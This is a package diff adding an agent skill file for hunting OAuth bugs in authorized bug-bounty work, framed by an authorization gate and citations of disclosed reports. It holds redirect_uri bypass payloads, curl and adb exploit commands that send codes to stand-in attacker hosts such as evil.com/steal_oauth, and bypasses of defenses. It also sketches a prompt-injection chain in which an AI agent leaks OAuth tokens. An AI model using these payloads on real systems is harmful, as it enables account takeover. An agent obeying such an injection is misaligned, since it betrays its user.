  452. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  453. package/bundled-skills/service-mesh/SKILL.md +422 -0
  454. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  455. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  456. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  457. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  458. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  459. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  460. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  461. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  462. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  463. package/bundled-skills/systemd-services/SKILL.md +379 -0
  464. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  465. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  466. package/bundled-skills/terraform-azure/references/details.md +231 -0
  467. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  468. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  469. package/bundled-skills/user-management/SKILL.md +383 -0
  470. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  471. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  472. package/bundled-skills/vendor-management/SKILL.md +439 -0
  473. package/bundled-skills/vendor-management/references/details.md +109 -0
  474. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  475. package/bundled-skills/vllm-server/SKILL.md +236 -0
  476. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  477. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  478. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  479. package/bundled-skills/waf-setup/SKILL.md +354 -0
  480. package/bundled-skills/waf-setup/references/details.md +211 -0
  481. package/bundled-skills/web2-recon/SKILL.md +440 -0
  482. package/bundled-skills/web2-recon/references/details.md +319 -0
  483. package/bundled-skills/web3-audit/SKILL.md +445 -0
  484. package/bundled-skills/web3-audit/references/details.md +224 -0
  485. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  486. package/bundled-skills/windows-hardening/references/details.md +204 -0
  487. package/bundled-skills/windows-server/SKILL.md +318 -0
  488. package/bundled-skills/writing-guidelines/SKILL.md +60 -0
  489. package/bundled-skills/zero-trust/SKILL.md +461 -0
  490. package/package.json +1 -1
  491. package/skills_index.json +7874 -277
@@ -0,0 +1,459 @@
1
+ ---
2
+ name: hunt-oauth
3
+ description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty
4
+ reports. Use when hunting oauth on any target.
5
+ category: security
6
+ risk: offensive
7
+ source: https://github.com/elementalsouls/Claude-BugHunter
8
+ source_repo: elementalsouls/Claude-BugHunter
9
+ source_type: community
10
+ date_added: '2026-09-20'
11
+ license: MIT
12
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
13
+ compatibility: Requires explicit written authorization for a target scope plus the
14
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
15
+ not bundled.
16
+ sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research
17
+ report_count: 22
18
+ ---
19
+ > **⚠️ AUTHORIZED USE ONLY**
20
+ > This skill is for educational purposes or authorized security assessments only.
21
+ > You must have explicit, written permission from the system owner before using this tool.
22
+ > Misuse of this tool is illegal and strictly prohibited.
23
+
24
+ > **Mandatory confirmation gate**
25
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
26
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
27
+ > 2. Ask the user to confirm written authorization and the permitted scope.
28
+ > 3. Show the exact command(s) and explain their expected effect.
29
+ > 4. Wait for explicit confirmation in the current conversation.
30
+ >
31
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
32
+
33
+ ## Crown Jewel Targets
34
+
35
+ OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable **account takeover, session theft, and authentication bypass** — the trifecta that programs pay most for.
36
+
37
+ **Highest-value targets:**
38
+ - **Consumer identity providers** (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
39
+ - **Mobile apps with custom deep link OAuth handlers** — Android/iOS intent handling is notoriously loose
40
+ - **Multi-tenant SaaS platforms** (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
41
+ - **Gaming/entertainment platforms** with federated login (Rockstar, Oculus) — often security-immature teams
42
+ - **Enterprise SSO connectors** — critical infrastructure, high severity payouts
43
+
44
+ **Asset types that pay most:**
45
+ - OAuth authorization endpoints (`/oauth/authorize`, `/connect/authorize`)
46
+ - Token exchange endpoints (`/oauth/token`)
47
+ - Mobile deep link handlers (`push_notification_webview`, custom scheme URIs)
48
+ - Social login callback handlers (`/auth/callback`, `/oauth/callback`)
49
+
50
+ **Typical payouts:** $500–$20,000+ depending on program; account takeover findings often hit max bounty.
51
+
52
+ ---
53
+
54
+ ## Attack Surface Signals
55
+
56
+ ### URL Patterns to Hunt
57
+ ```
58
+ /oauth/authorize
59
+ /oauth/token
60
+ /connect/authorize
61
+ /auth/callback
62
+ /oauth/callback
63
+ /login?redirect_uri=
64
+ /signin?next=
65
+ /auth?return_to=
66
+ /oauth/redirect
67
+ /push_notification_webview
68
+ ```
69
+
70
+ ### Response Headers That Signal OAuth
71
+ ```
72
+ Location: https://accounts.example.com/oauth/...
73
+ Set-Cookie: oauth_state=
74
+ WWW-Authenticate: Bearer
75
+ Content-Type: application/json (with access_token in body)
76
+ ```
77
+
78
+ ### JavaScript Patterns (grep in JS bundles)
79
+ ```javascript
80
+ redirect_uri
81
+ client_id
82
+ response_type=code
83
+ response_type=token
84
+ state=
85
+ nonce=
86
+ oauth_token
87
+ access_token
88
+ push_notification_webview
89
+ deeplink
90
+ intent://
91
+ ```
92
+
93
+ ### Tech Stack Signals
94
+ - Android apps with `intent-filter` in `AndroidManifest.xml` handling `http://` or custom scheme URIs
95
+ - Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
96
+ - Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
97
+ - `.well-known/openid-configuration` present = full OIDC surface available
98
+
99
+ ---
100
+
101
+ ## Step-by-Step Hunting Methodology
102
+
103
+ 1. **Enumerate all OAuth entry points**
104
+ - Spider the app for `/oauth`, `/connect`, `/auth`, `/login` paths
105
+ - Check `.well-known/openid-configuration` and `.well-known/oauth-authorization-server`
106
+ - Decompile mobile APKs: `apktool d app.apk` and grep for `redirect_uri`, `intent://`, deep link schemes
107
+
108
+ 2. **Map the full OAuth flow**
109
+ - Capture the authorization request: note `client_id`, `redirect_uri`, `state`, `nonce`, `response_type`
110
+ - Capture the callback: note where tokens/codes land, what validates state/nonce
111
+
112
+ 3. **Test `redirect_uri` validation (highest yield)**
113
+ - Try exact host bypass: `redirect_uri=https://legit.com.evil.com`
114
+ - Try path traversal: `redirect_uri=https://legit.com/callback/../../../evil`
115
+ - Try open redirects on the legitimate domain first, then chain into OAuth
116
+ - Try parameter pollution: `redirect_uri=https://legit.com&redirect_uri=https://evil.com`
117
+ - Try encoded characters: `%2F`, `%40`, `%23` to confuse parsers
118
+
119
+ 4. **Test `state` parameter (CSRF)**
120
+ - Remove `state` entirely — does the flow complete?
121
+ - Reuse a fixed `state` value across sessions
122
+ - Check if `state` is validated server-side or only client-side
123
+
124
+ 5. **Test `nonce` parameter (replay/bypass)**
125
+ - Capture a nonce from one flow, attempt to replay it in another
126
+ - Check if nonce is validated after token exchange
127
+ - Test if nonce can be extracted via referrer leak (step 9)
128
+
129
+ 6. **Test authentication step completeness**
130
+ - For multi-step auth (e.g., email verification + OAuth): can you skip to `/oauth/token` directly?
131
+ - Check if partial auth state (unverified email) is accepted by the token endpoint
132
+
133
+ 7. **Hunt referrer leakage**
134
+ - After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full `Referer` header
135
+ - Look specifically at language switchers, analytics calls, social share buttons triggered post-auth
136
+
137
+ 8. **Test mobile deep links**
138
+ - For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
139
+ - Check if deep link handlers validate the origin/host before loading
140
+ - Test `push_notification_webview` patterns that accept arbitrary URLs
141
+
142
+ 9. **Test misconfigured client credentials**
143
+ - Check if `client_secret` appears in JS bundles or APK resources
144
+ - Test if token endpoint accepts arbitrary `redirect_uri` values when combined with leaked `client_id`/`client_secret`
145
+
146
+ 10. **Verify and document**
147
+ - Confirm state is not validated → CSRF to account link
148
+ - Confirm token lands on attacker domain → session theft
149
+ - Confirm email verification skippable → auth bypass
150
+ - Run Gate 0 check before reporting
151
+
152
+ ---
153
+
154
+ ## Payload & Detection Patterns
155
+
156
+ ### redirect_uri Bypass Payloads
157
+ ```
158
+ # Host confusion
159
+ https://evil.com#legit.com
160
+ https://legit.com.evil.com
161
+ https://legit.com@evil.com
162
+
163
+ # Path traversal
164
+ https://legit.com/oauth/callback/../../redirect?url=https://evil.com
165
+
166
+ # Open redirect chain (find open redirect on legit domain first)
167
+ https://legit.com/logout?next=https://evil.com
168
+
169
+ # Parameter pollution
170
+ ?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
171
+
172
+ # URL encoded slashes
173
+ https://legit.com%2F@evil.com
174
+ https://legit.com%252F..%252F..evil.com
175
+ ```
176
+
177
+ ### State CSRF Test
178
+ ```bash
179
+ # Step 1: Initiate OAuth flow, capture state value
180
+ # Step 2: Drop request, use attacker account's link with victim's session
181
+ curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
182
+
183
+ # Step 3: Force victim to visit callback with attacker's code + fixed state
184
+ https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
185
+ ```
186
+
187
+ ### Nonce Extraction via Referrer
188
+ ```bash
189
+ # After OAuth callback landing page, check outbound requests
190
+ # Look for Referer header containing access_token or code
191
+ curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
192
+ -H "Referer: https://evil.com" \
193
+ --max-redirs 0
194
+
195
+ # Grep JS for outbound calls made on callback page
196
+ grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
197
+ ```
198
+
199
+ ### Mobile Deep Link Exploit (Android)
200
+ ```bash
201
+ # ADB exploit for push_notification_webview deeplink
202
+ adb shell am start -a android.intent.action.VIEW \
203
+ -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
204
+
205
+ # Craft intent URI for web-based exploit
206
+ <a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
207
+ ```
208
+
209
+ ### Token Endpoint Auth Bypass
210
+ ```bash
211
+ # Test unauthenticated token exchange (skip email verification)
212
+ curl -X POST https://target.com/oauth/token \
213
+ -d "grant_type=authorization_code" \
214
+ -d "code=CAPTURED_CODE" \
215
+ -d "client_id=CLIENT_ID" \
216
+ -d "redirect_uri=https://legit.com/callback"
217
+
218
+ # Test with unverified account credentials
219
+ curl -X POST https://target.com/oauth/token \
220
+ -d "grant_type=password" \
221
+ -d "username=unverified@evil.com" \
222
+ -d "password=password123" \
223
+ -d "client_id=CLIENT_ID"
224
+ ```
225
+
226
+ ### Grep Patterns for Recon
227
+ ```bash
228
+ # In APK/JS files
229
+ grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
230
+ grep -r "intent://\|deeplink\|scheme://" .
231
+
232
+ # In Burp history
233
+ # Filter: URL contains "oauth" OR "token" OR "callback"
234
+ # Filter: Response contains "access_token" OR "code=" in Location header
235
+
236
+ # Check .well-known
237
+ curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
238
+ ```
239
+
240
+ ### OIDC Discovery & Dynamic Registration Abuse
241
+ ```bash
242
+ # Enumerate OIDC endpoints (esp. registration_endpoint)
243
+ curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
244
+
245
+ # If registration_endpoint is open, register a malicious client with attacker redirect_uri
246
+ curl -X POST https://idp/connect/register \
247
+ -H "Content-Type: application/json" \
248
+ -d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
249
+ ```
250
+
251
+ ### Cross-Client Token Confusion
252
+ ```bash
253
+ # Mint token for client A, attempt replay on client B's API
254
+ TOKEN=$(curl -s https://idp/oauth/token \
255
+ -d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
256
+
257
+ # Test if client B's API accepts the token (no audience validation)
258
+ curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
259
+ ```
260
+
261
+ ### OIDC prompt=none Silent Re-Auth Test
262
+ ```bash
263
+ # Test whether adding prompt=none to authorize request yields a token without user interaction
264
+ # Signals session fixation / silent auth abuse potential
265
+ curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
266
+ ```
267
+
268
+ ---
269
+
270
+ ## Common Root Causes
271
+
272
+ 1. **Weak `redirect_uri` validation** — developers whitelist by prefix (`startsWith`) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.
273
+
274
+ 2. **Missing or unvalidated `state` parameter** — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).
275
+
276
+ 3. **Nonce not validated post-exchange** — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.
277
+
278
+ 4. **Authentication step ordering not enforced server-side** — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.
279
+
280
+ 5. **Token/code in URL with outbound requests on callback page** — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via `Referer` header.
281
+
282
+ 6. **Mobile deep link handlers trust all input URLs** — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.
283
+
284
+ 7. **Misconfigured OAuth application registration** — developers register wildcard redirect URIs (`https://*.example.com/*`) or don't restrict them at all during development and forget to lock down for production.
285
+
286
+ 8. **Client secrets embedded in mobile apps** — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.
287
+
288
+ 9. **OIDC `sub` claim ambiguity across identity providers** — apps accepting login from multiple IdPs (Google, Microsoft, Apple) may key accounts on `sub` alone without IdP isolation. If two IdPs emit the same `sub` for different users, one IdP's attacker hijacks accounts linked to the other IdP.
289
+
290
+ ---
291
+
292
+ ## Bypass Techniques
293
+
294
+ ### Defender: Exact-match `redirect_uri` whitelist
295
+ **Bypass:** Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.
296
+ ```
297
+ redirect_uri=https://legit.com/logout?next=https://evil.com
298
+ ```
299
+
300
+ ### Defender: `state` parameter required
301
+ **Bypass:** Check if state is validated for *length/format* but not *binding to session*. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.
302
+
303
+ ### Defender: Fragment-only token delivery (`response_type=token`)
304
+ **Bypass:** Fragment isn't sent in `Referer` by browsers, but JavaScript on the callback page may read `window.location.hash` and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.
305
+
306
+ ### Defender: Host validation on mobile deep links
307
+ **Bypass:** Try URL encoding (`https%3A//evil.com`), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.
308
+
309
+ ### Defender: Short-lived authorization codes
310
+ **Bypass:** Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.
311
+
312
+ ### Defender: PKCE enforcement
313
+ **Bypass:** Check if PKCE is required for *all* clients or only specific ones. Legacy clients or mobile apps may be exempt. Test with `code_challenge` omitted — if the server still issues tokens, PKCE isn't enforced.
314
+
315
+ ### Defender: Nonce validation
316
+ **Bypass:** Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on *initial* request but not on token refresh.
317
+
318
+ ---
319
+
320
+ ## Gate 0 Validation
321
+
322
+ Before writing the report, answer all three:
323
+
324
+ **1. What can the attacker DO right now?**
325
+ Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.
326
+
327
+ **2. What does the victim LOSE?**
328
+ Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.
329
+
330
+ **3. Can it be reproduced in 10 minutes from scratch?**
331
+ Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.
332
+
333
+ ---
334
+
335
+ ## Real Impact Examples
336
+
337
+ ### Scenario 1: Mobile Session Theft via Push Notification Deep Link (PayPal/Venmo pattern)
338
+ An attacker discovers that the Android app's push notification handler accepts an arbitrary `url` parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.
339
+
340
+ ### Scenario 2: Email Verification Bypass via Direct Token Endpoint Access (GitLab pattern)
341
+ A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the `/oauth/token` endpoint performs no verification status check — it only validates credentials. The attacker calls `/oauth/token` directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.
342
+
343
+ ### Scenario 3: OAuth Token Theft via Referrer Header on Language Change (Rockstar Games pattern)
344
+ The OAuth callback page for Facebook login lands users at a URL containing the `access_token` in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a `Referer` header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.
345
+
346
+ ---
347
+
348
+ ## Disclosed Report Citations (Backfill +9 — 2020-2024)
349
+
350
+ The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 10 internal references. Each is a distinct OAuth subclass with a working PoC documented in the cited writeup.
351
+
352
+ 11. **Semrush — IDN-homograph redirect_uri bypass** ([H1 #861940](https://hackerone.com/reports/861940))
353
+ - Subclass: `redirect_uri` bypass via Unicode-confusable host (homograph)
354
+ - Payload: `redirect_uri=https://oauth.šemrush.com/cb` (punycode `xn--emrush-9jb.com`) — passed Latin-only string check on validator
355
+ - Root cause: server validates `redirect_uri` host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compare
356
+ - Disclosure: 2020, public bounty (amount not disclosed); discoverer Yassine Aboukir
357
+
358
+ 12. **Bohemia Interactive — redirect_uri filter bypass (BiStudio)** ([H1 #405100](https://hackerone.com/reports/405100))
359
+ - Subclass: `redirect_uri` validation bypass → OAuth token exfiltration
360
+ - Payload: redirect_uri crafted to defeat the regex/prefix filter and land tokens on attacker host; reporter chained the bypass to a full token-leak PoC
361
+ - Root cause: weak redirect_uri filter that accepted attacker-controlled host while still matching the intended pattern
362
+ - Year: 2018-disclosed; remains a canonical example of regex-redirect_uri-bypass cited in subsequent reports
363
+
364
+ 13. **pixiv — path-traversal in OAuth `redirect_uri`** ([H1 #1861974](https://hackerone.com/reports/1861974))
365
+ - Subclass: path-traversal `redirect_uri` bypass → authorization-code leakage
366
+ - Payload: `redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb` — server normalized after validation
367
+ - Root cause: validator inspected raw string; downstream HTTP/browser handled `../` traversal and emitted code to attacker path
368
+ - Disclosure: 2023, **$2,000 bounty**, 244 upvotes — confirmed paid
369
+
370
+ 14. **Slack — OAuth2 redirect_uri bypass (domain-suffix)** ([H1 #2575](https://hackerone.com/reports/2575))
371
+ - Subclass: `redirect_uri` validation bypass via domain-suffix / subdomain confusion
372
+ - Payload: redirect_uri using a domain that suffix-matched the registered host (e.g., `slack.com.attacker.com`) defeated the suffix-only check
373
+ - Root cause: `endsWith()` / suffix-match instead of strict host equality
374
+ - Disclosure: 2013 (foundational case still cited in modern OAuth training material) — Slack public bounty
375
+
376
+ 15. **Booking.com (Facebook social-login)** ([Salt Labs writeup](https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com))
377
+ - Subclass: three-step chain — open-redirect on whitelisted domain + redirect_uri bypass + `response_type` swap → Facebook OAuth code/token theft → ATO
378
+ - Payload: authorize URL with `redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb` and `response_type` toggled to leak tokens via fragment
379
+ - Root cause: validator trusted any path under `account.booking.com`; open redirect on that host bounced the auth code to attacker
380
+ - Disclosure: March 2023 — coordinated disclosure, no public bounty figure (~500M MAU exposure)
381
+
382
+ 16. **Expo.io (`expo-auth-session`) — CVE-2023-28131** ([Salt Labs writeup](https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services))
383
+ - Subclass: scope-creep / unvalidated `returnUrl` parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)
384
+ - Payload: attacker passes `returnUrl=https://attacker.tld` to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attacker
385
+ - Root cause: framework-level OAuth proxy did not validate `returnUrl` host before forwarding the social-IdP callback
386
+ - Disclosure: May 2023; CVSS 9.6; fixed Feb 2023 hotfix + deprecated by Feb 26 2023
387
+
388
+ 17. **Microsoft Azure AD multi-tenant — "nOAuth"** ([Descope writeup](https://www.descope.com/blog/post/noauth))
389
+ - Subclass: cross-IdP account-takeover via unverified, mutable `email` claim ("Pass-The-Token" equivalent)
390
+ - Payload: attacker sets Azure AD admin profile `mail` attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATO
391
+ - Root cause: Microsoft `email` claim is mutable + unverified; RPs treated it as primary identifier
392
+ - Disclosure: April 11 2023 reported, fixed June 20 2023 (mitigations + new `xms_edov` claim)
393
+
394
+ 18. **Grammarly / Vidio / Bukalapak — "Pass-The-Token" social-login** ([Salt Labs writeup](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts))
395
+ - Subclass: missing audience / `aud` validation on Facebook access_token → cross-client token replay → ATO
396
+ - Payload: attacker obtains Facebook token issued for `attacker.app` → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via `/me`, finds victim's email, issues victim session
397
+ - Root cause: relying party calls Facebook `/me` with attacker-issued token but never validates the token's `app_id` belongs to the RP
398
+ - Disclosure: October 2023 — coordinated, ~1B account exposure across the three sites
399
+
400
+ 19. **Zoom — OAuth "dirty dancing" chained ATO** ([Harel Security writeup](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html))
401
+ - Subclass: `response_type=token` swap + lax `postMessage` origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijack
402
+ - Payload: attacker page opens Zoom OAuth with `response_type=code&response_mode=web_message`, intercepts the resulting `postMessage` because window listener accepts any `*.zoom.us` origin → exchanges code for session
403
+ - Root cause: combination of weak postMessage origin check, missing CSRF binding on `state`, and `response_mode=web_message` returning code to a parent window without exact-origin enforcement
404
+ - Disclosure: reported Oct 2023, fixed Jan 2024, **$15,000 bounty** (Sudi / BrunoZero / H4R3L)
405
+
406
+ 20. **Detectify Labs — "Dirty Dancing" multi-vendor OAuth token leakage** ([Detectify writeup, F. Rosén](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/))
407
+ - Subclass: response-type switching + invalid-state quirks + 3rd-party JS gadget chains → OAuth code/token leakage with NO XSS required
408
+ - Payload: attacker forces `response_type=token` on an endpoint that only validated `code`; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin reads
409
+ - Root cause: OAuth server tolerates response_type downgrade/swap; callback page leaks `window.location` via permissive postMessage receivers
410
+ - Disclosure: July 2022 — multi-vendor (Apple, Microsoft, Slack et al.); PortSwigger Top 10 Web Hacks 2022 #1
411
+
412
+ ---
413
+
414
+ ## Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes
415
+
416
+ A server-side prefix-match flaw on `redirect_uri` is **necessary but not sufficient** to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
417
+
418
+ | Server `redirect_uri` validator | Attack URL | Server `startswith()` | Browser actual host | Exploit? |
419
+ |---|---|---|---|---|
420
+ | prefix = `https://acme.example` (no slash) | `https://acme.example@evil.com/cb` | passes | evil.com (per WHATWG URL parsing — `@` is the userinfo delimiter, BEFORE the first `/` after `://`) | **YES** |
421
+ | prefix = `https://acme.example/` (trailing slash) | `https://acme.example/@evil.com/cb` | passes | **acme.example** (the `@` is now AFTER the first `/`, so WHATWG parses it as a path character) | **NO** — browser stays on acme.example |
422
+ | prefix = `https://acme.example` (substring match) | `https://acme.example.evil.com/cb` | passes | acme.example.evil.com (subdomain extension — the `.evil.com` extends the host) | **YES** |
423
+ | prefix = `https://acme.example/` (trailing slash, server normalizes `..`) | `https://acme.example/../../@evil.com/cb` | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually **NO** |
424
+ | prefix = `https://acme.example/` (Chromium-specific) | `https://acme.example/\@evil.com/cb` | passes | host depends — Chromium converts `\` to `/` so this becomes `https://acme.example//@evil.com/cb` and stays on acme.example | usually **NO** |
425
+
426
+ **Operational rule:** the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., **before the first `/` after `://`**. Once the path begins, `@` is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.
427
+
428
+ **Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain.** Server-side accept + browser-side stay-on-legitimate-host = **not** ATO. Verified live in `docs/verification/phase3-playwright-browser-execution.md` Test 29.
429
+
430
+ ---
431
+
432
+ ## Related Skills & Chains
433
+
434
+ - **`hunt-subdomain`** — The single highest-impact OAuth chain. Chain primitive: OAuth `redirect_uri` validator accepts any `*.target.com` subdomain + recon reveals `dev-staging.target.com` CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft `/oauth/authorize?redirect_uri=https://dev-staging.target.com/cb` → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.
435
+ - **`hunt-ato`** — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: `state` parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures `code` before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.
436
+ - **`hunt-llm-ai`** — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts `redirect_uri` from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.
437
+ - **`hunt-saml`** — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters `NameID` to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.
438
+ - **`security-arsenal`** — Pull the OAuth `redirect_uri` Bypass Table (host-confusion `legit.com@evil.com`, `legit.com.evil.com`, path-traversal, parameter pollution, encoded-slash `%2F`, fragment-injection `#legit.com`) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.
439
+ - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the `state` param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.
440
+
441
+ ## When to Use
442
+
443
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
444
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
445
+
446
+ ## Limitations
447
+
448
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
449
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
450
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
451
+
452
+ ### Example
453
+
454
+ ```bash
455
+ # Read-only first step; confirm scope before anything active.
456
+ cat scope.txt # target list from the authorized engagement brief
457
+ ```
458
+
459
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.